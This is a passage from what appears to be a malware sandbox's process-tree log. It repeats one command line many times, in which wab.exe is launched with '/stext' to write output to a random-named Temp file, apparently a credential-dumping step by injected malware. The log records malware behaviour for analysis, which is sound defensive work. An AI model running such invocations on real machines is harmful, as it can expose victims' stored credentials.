    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8832
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9220
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9244
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9252
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9260
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9268
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9276
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9284
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9292
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9300
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9308
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9316
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9324
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9332
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9340
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9348
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9356
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9364
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9372
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9380
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9388
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9396
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9404
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9412
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9420
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9428
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9444
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9452
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9460
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9468
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9476
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9484
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9492
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9500
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9508
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9516
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9524
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9532
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9540
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9548
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9556
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9564
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9572
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9580
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9588
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9596
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9604
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9612
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9620
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9628
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9636
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9644
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9652
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9660
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9668
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9676
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9684
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9692
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9700
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9708
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9716
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9724
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9732
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9740
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9748
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9756
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9764
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9772
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9780
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9788
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9796
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9804
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9812
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9820
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9828
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9836
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9844
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9852
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9860
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9868
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9876
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9884
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9892
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9900
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9908
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9916
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9924
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9932
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9940
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9948
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9964
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9972
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9980
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9988
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9996
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10004
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10012
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10028
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10036
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10044
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10052
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10068
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10076
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10084
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10092
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10100
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10108
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10116
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10124
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10132
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10140
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10148
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10156
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10164
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10172
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10180
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10188
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10196
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10204
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10212
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10220
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9636
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10248
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10256
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:10264
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
